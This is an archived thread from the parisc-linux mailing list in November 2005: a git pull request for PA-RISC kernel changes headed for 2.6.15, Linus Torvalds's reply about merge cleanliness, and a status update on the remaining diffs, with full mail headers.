X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7jcMY1gNeSEkS76WZHQhaXN1IGRvbwCe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23206

Hi Linus,

This pull contains the last remnants of parisc divergence in parisc
specific files up to this point. At least, until someone commits to cvs.
Remaining changes in CVS are compat_signal and some ALSA stuff that will
be forwarded along to Jaroslav.

Before you consider whether to pull, I'd just like to double check
whether I made any mistakes in the process:

	! merged a bunch of patches

	$ git-send-pack $remote parisc	to master.kernel.org

	! merged some more, made a mistake, nuked tree

	$ git pull my tree from master.kernel.org and fixed up remotes to
	  point master:origin to your tree, and parisc:parisc to mine

	! merged some more patches, noticed I had accumulated a patch in the
	  branch from "origin" somehow since I branched

	$ git checkout -f master
	$ git pull origin
	$ git checkout -f parisc
	$ git pull . master		to merge up to your tree
	$ git-send-pack $remote --all	to master.kernel.org to update all
					branches(?)

However, in doing this, I accumulated one of those annoying
"Merge branch 'master'" messages. I looked at Jeff's pull requests, and
he didn't seem to have any in there. Is this process kosher? Should I do
more or less the same thing next time?

--

Please pull the `parisc' branch from,

master.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git parisc

Which contains the following changesets,

 CREDITS                        |   12 
 arch/parisc/kernel/drivers.c   |    8 
 arch/parisc/kernel/entry.S     |    1 
 arch/parisc/kernel/inventory.c |    2 
 arch/parisc/kernel/ioctl32.c   |  546 -----------------------------------------
 arch/parisc/kernel/irq.c       |  110 ++++++--
 arch/parisc/kernel/perf.c      |   33 +-
 arch/parisc/kernel/ptrace.c    |    5 
 arch/parisc/kernel/signal.c    |    1 
 arch/parisc/kernel/smp.c       |   24 +
 arch/parisc/kernel/syscall.S   |    3 
 drivers/ide/Kconfig            |    2 
 drivers/isdn/hisax/Kconfig     |   12 
 drivers/isdn/pcbit/Kconfig     |    2 
 drivers/parisc/iosapic.c       |   26 +
 drivers/parisc/superio.c       |   35 +-
 drivers/serial/Kconfig         |    2 
 drivers/serial/mux.c           |   19 -
 include/asm-parisc/irq.h       |    5 
 include/asm-parisc/smp.h       |    7 
 include/asm-parisc/spinlock.h  |   19 -
 include/asm-parisc/tlbflush.h  |   16 -
 include/linux/mm.h             |    2 
 mm/mmap.c                      |    2 
 24 files changed, 245 insertions(+), 649 deletions(-)

Carlos O'Donell:
      [PARISC] Document some register usages in assembly files

Christoph Hellwig:
      [PARISC] move PA perf driver over to ->compat_ioctl
      [PARISC] remove drm compat ioctls handlers

Grant Grundler:
      [PARISC] Disable nesting of interrupts
      [PARISC] irq_affinityp[] only available for SMP builds
      [PARISC] Remove unused variable in signal.c

James Bottomley:
      [PARISC] Make sure timer and IPI execute with interrupts disabled
      [PARISC] Fix our interrupts not to use smp_call_function
      [PARISC] Add IRQ affinities
      [PARISC] Fix our spinlock implementation

Kyle McMartin:
      [PARISC] Fix uniprocessor build by dummying smp_send_all_nop()
      [PARISC] Make superio.c initialize before any driver needs it
      [PARISC] Update CREDITS entries
      Merge branch 'master'

Matthew Wilcox:
      [PARISC] Return PDC_OK when alloc_pa_dev fails to enumerate all devices
      [PARISC] Improve the error message when we get a clashing mod path
      [PARISC] Fix some compile problems in ptrace.c
      [PARISC] Always spinlock tlb flush operations to ensure preempt safety
      [PARISC] Fix compile warning caused by conflicting types of expand_upwards()
      [PARISC] Make Serial MUX depend on a specific bus type.
      [PARISC] Mention PA-RISC in NS87415 help
      [PARISC] Mark hisax and pcbit ISDN drivers as not for parisc

Ryan Bradetich:
      [PARISC] Make redirecting irq messages less noisy
      [PARISC] Compile fixups for serial/mux.c
      [PARISC] Define port->timeout to fix a long msleep in mux.c

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@osdl.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [git pull] parisc-linux for 2.6.15
Date: Fri, 18 Nov 2005 14:32:07 -0800 (PST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0511181426270.13959@g5.osdl.org>
References: <20051118221601.GD28276@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623938 16917 80.91.229.3 (22 Nov 2014 02:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:58 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Nov 2005 22:32:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 18 Nov 2005 23:32:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 487BF7D69E;
	Fri, 18 Nov 2005 15:32:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09918-10; Fri, 18 Nov 2005 15:32:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0A697D6B3;
	Fri, 18 Nov 2005 15:32:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38E2B7D673
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 15:32:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09881-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 15:32:17 -0700 (MST)
Original-Received: from smtp.osdl.org (smtp.osdl.org [65.172.181.4])
	by free.linux.hp.com (Postfix) with ESMTP id 3BE8A7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 15:32:15 -0700 (MST)
Original-Received: from shell0.pdx.osdl.net (fw.osdl.org [65.172.181.6])
	by smtp.osdl.org (8.12.8/8.12.8) with ESMTP id jAIMWCnO001627
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Fri, 18 Nov 2005 14:32:13 -0800
Original-Received: from localhost (shell0.pdx.osdl.net [10.9.0.31])
	by shell0.pdx.osdl.net (8.13.1/8.11.6) with ESMTP id jAIMW8JP004564;
	Fri, 18 Nov 2005 14:32:10 -0800
In-Reply-To: <20051118221601.GD28276@tachyon.int.mcmartin.ca>
X-Spam-Status: No, hits=0 required=5 tests=
X-Spam-Checker-Version: SpamAssassin 2.63-osdl_revision__1.55__
X-MIMEDefang-Filter: osdl$Revision: 1.127 $
X-Scanned-By: MIMEDefang 2.36
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LDMMYx1QeSEkSL6WZHQhaXN1IGRvb0Dd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23207



On Fri, 18 Nov 2005, Kyle McMartin wrote:
>
> This pull contains the last remnants of parisc divergence in parisc
> specific files up to this point. At least, until someone commits to cvs.
> Remaining changes in CVS are compat_signal and some ALSA stuff that will
> be forwarded along to Jaroslav.

Argh. I was tempted to not merge at this point, but since most of it is in 
the parisc subdirectories, I let it slide.

> Before you consider whether to pull, I'd just like to double check
> whether I made any mistakes in the process:

Ok, it has that unnecessary extra merge, but apart from that there doesn't 
seem to be anything actually _wrong_ with it. 

I don't mind some criss-cross merges, as long as they aren't common enough 
to make the history completely unreadable, and that was certainly not the 
case here.

I just ask for cleanliness - not totally sterile trees ;)

		Linus
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [git pull] parisc-linux for 2.6.15
Date: Sat, 19 Nov 2005 05:16:06 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <e6eae0290511182116i43490909o@mail.gmail.com>
References: <20051118221601.GD28276@tachyon.int.mcmartin.ca>
	<Pine.LNX.4.64.0511181426270.13959@g5.osdl.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623939 16922 80.91.229.3 (22 Nov 2014 02:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:59 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Linus Torvalds <torvalds@osdl.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Nov 2005 05:16:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 19 Nov 2005 06:16:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E76317D6CB;
	Fri, 18 Nov 2005 22:16:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13053-06; Fri, 18 Nov 2005 22:16:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9D9E7D6BD;
	Fri, 18 Nov 2005 22:16:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 458C97D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 22:16:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13053-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 22:16:09 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.207])
	by free.linux.hp.com (Postfix) with ESMTP id 8A1B57D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 22:16:09 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id i22so83843wra
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 21:16:06 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=SGMhrVVozGKzjRJhKRhpXWxmQVsnwtWbciZE3oFRFBGAX+koFJ+0dfv/1IOYOpb8n0vOZl36KCDkba6UpZ8r/0zmkx0jzyTU8BPCovbOnJOnw8WDyJYT+xuTrW6BHWIl2bUn3Uv56tRqz8bL4BBMnhILYI+ly/dYnIJahsBZAog=
Original-Received: by 10.65.253.5 with SMTP id f5mr622910qbs;
	Fri, 18 Nov 2005 21:16:06 -0800 (PST)
Original-Received: by 10.64.209.7 with HTTP; Fri, 18 Nov 2005 21:16:06 -0800 (PST)
In-Reply-To: <Pine.LNX.4.64.0511181426270.13959@g5.osdl.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ctAMYyteeSEkO76WZHQhaXN1IGRvb8C+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23208

On 18/11/05, Linus Torvalds <torvalds@osdl.org> wrote:
>
> On Fri, 18 Nov 2005, Kyle McMartin wrote:
> >
> > This pull contains the last remnants of parisc divergence in parisc
> > specific files up to this point. At least, until someone commits to cvs=
.
> > Remaining changes in CVS are compat_signal and some ALSA stuff that wil=
l
> > be forwarded along to Jaroslav.
>
> Argh. I was tempted to not merge at this point, but since most of it is i=
n
> the parisc subdirectories, I let it slide.

I guess the less diff between the parisc tree and mainline, the more
happy we  (users & developers) are ;)

> > Before you consider whether to pull, I'd just like to double check
> > whether I made any mistakes in the process:
>
> Ok, it has that unnecessary extra merge, but apart from that there doesn'=
t
> seem to be anything actually _wrong_ with it.
>
> I don't mind some criss-cross merges, as long as they aren't common enoug=
h
> to make the history completely unreadable, and that was certainly not the
> case here.
>
> I just ask for cleanliness - not totally sterile trees ;)

I'm personally more the kinda guy who'll ask for a black&decker and some
WD40 and if something doesn't fit in properly.
I guess not everything IRL applies to CS ;)

Does this mean Linux/PA development is moving towards git in the near futur=
e?

Slan,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge progress update
Date: Sat, 19 Nov 2005 11:42:59 -0500
Lines: 108
Approved: news@gmane.org
Message-ID: <20051119164259.GO28276@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623939 16927 80.91.229.3 (22 Nov 2014 02:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Nov 2005 16:43:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 19 Nov 2005 17:43:15 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 306E87D674;
	Sat, 19 Nov 2005 09:43:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16604-09; Sat, 19 Nov 2005 09:43:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D3137D69D;
	Sat, 19 Nov 2005 09:43:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C42617D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Nov 2005 09:43:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16604-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Nov 2005 09:43:05 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 13F3E7D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Nov 2005 09:43:05 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id B14E517088
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Nov 2005 11:43:01 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30732-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Nov 2005 11:43:01 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 5C3761708B; Sat, 19 Nov 2005 11:43:01 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-x596829506-52656d6f746546617454697265-494e424f582e4f7574626f78: 1132418611-0903896640761-v4.0.11
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: czMNY7c5eSEkSL6WZHQhaXN1IGRvb8Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23209

So, the following went upstream to Linus yesterday:

	68K     linus_to_parisc_2.diff

Shortlog and diffstat are contained below.

The ide_toggle_bounce fix went upstream with Bartlomiej yesterday,
so that's another chunk out of our diff. I'll be maintaining a 
ad1889 git tree to upstream via the ALSA folks some of our other
changes.

Approximate remaining bits,

	100K    parisc_remainingish.diff

Which consists primarily of:

	-rw-r--r--  1 kyle kyle 22881 Nov 19 11:37 scsi
		(sym2 + 53c700 changes) [willy for sym2]
	
	-rw-r--r--  1 kyle kyle 29568 Nov 19 11:38 sound
		(oss harmony & ad1889 and alsa ad1889 changes)

	-rw-r--r--  1 kyle kyle 33188 Nov 19 11:40 compat
		(compat_signal)

	-rw-r--r--  1 kyle kyle 3676 Nov 19 11:41 tulip
		(tulip modifications)

The rest of the diff is primarily small little hacks and a few things
that need to be resolved with subsystem maintainers. For example,
James' fixes for pcmcia, and Grant's fixes for usb hid.

Cheers,
	Kyle

--

Carlos O'Donell:
      [PARISC] Document some register usages in assembly files

Christoph Hellwig:
      [PARISC] move PA perf driver over to ->compat_ioctl
      [PARISC] remove drm compat ioctls handlers

Grant Grundler:
      [PARISC] Disable nesting of interrupts
      [PARISC] irq_affinityp[] only available for SMP builds
      [PARISC] Remove unused variable in signal.c

James Bottomley:
      [PARISC] Make sure timer and IPI execute with interrupts disabled
      [PARISC] Fix our interrupts not to use smp_call_function
      [PARISC] Add IRQ affinities
      [PARISC] Fix our spinlock implementation

Kyle McMartin:
      [PARISC] Fix uniprocessor build by dummying smp_send_all_nop()
      [PARISC] Make superio.c initialize before any driver needs it
      [PARISC] Update CREDITS entries
      Merge branch 'master'

Matthew Wilcox:
      [PARISC] Return PDC_OK when alloc_pa_dev fails to enumerate all devices
      [PARISC] Improve the error message when we get a clashing mod path
      [PARISC] Fix some compile problems in ptrace.c
      [PARISC] Always spinlock tlb flush operations to ensure preempt safety
      [PARISC] Fix compile warning caused by conflicting types of expand_upwards()
      [PARISC] Make Serial MUX depend on a specific bus type.
      [PARISC] Mention PA-RISC in NS87415 help
      [PARISC] Mark hisax and pcbit ISDN drivers as not for parisc

Ryan Bradetich:
      [PARISC] Make redirecting irq messages less noisy
      [PARISC] Compile fixups for serial/mux.c
      [PARISC] Define port->timeout to fix a long msleep in mux.c

 CREDITS                        |   12 
 arch/parisc/kernel/drivers.c   |    8 
 arch/parisc/kernel/entry.S     |    1 
 arch/parisc/kernel/inventory.c |    2 
 arch/parisc/kernel/ioctl32.c   |  546 -----------------------------------------
 arch/parisc/kernel/irq.c       |  110 ++++++--
 arch/parisc/kernel/perf.c      |   33 +-
 arch/parisc/kernel/ptrace.c    |    5 
 arch/parisc/kernel/signal.c    |    1 
 arch/parisc/kernel/smp.c       |   24 +
 arch/parisc/kernel/syscall.S   |    3 
 drivers/ide/Kconfig            |    2 
 drivers/isdn/hisax/Kconfig     |   12 
 drivers/isdn/pcbit/Kconfig     |    2 
 drivers/parisc/iosapic.c       |   26 +
 drivers/parisc/superio.c       |   35 +-
 drivers/serial/Kconfig         |    2 
 drivers/serial/mux.c           |   19 -
 include/asm-parisc/irq.h       |    5 
 include/asm-parisc/smp.h       |    7 
 include/asm-parisc/spinlock.h  |   19 -
 include/asm-parisc/tlbflush.h  |   16 -
 include/linux/mm.h             |    2 
 mm/mmap.c                      |    2 
 24 files changed, 245 insertions(+), 649 deletions(-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge progress update
Date: Sat, 19 Nov 2005 20:50:23 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20051120035023.GA5466@colo.lackof.org>
References: <20051119164259.GO28276@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623939 16930 80.91.229.3 (22 Nov 2014 02:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Nov 2005 03:42:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 20 Nov 2005 04:42:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 039777D69D;
	Sat, 19 Nov 2005 20:42:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18651-10; Sat, 19 Nov 2005 20:42:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2DA37D69E;
	Sat, 19 Nov 2005 20:42:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFA1A7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Nov 2005 20:42:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18651-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Nov 2005 20:42:33 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 26B4E7D699
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Nov 2005 20:42:33 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8ECC329803C;
	Sat, 19 Nov 2005 20:50:25 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04037-08; Sat, 19 Nov 2005 20:50:24 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 13C8E298013; Sat, 19 Nov 2005 20:50:24 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051119164259.GO28276@tachyon.int.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
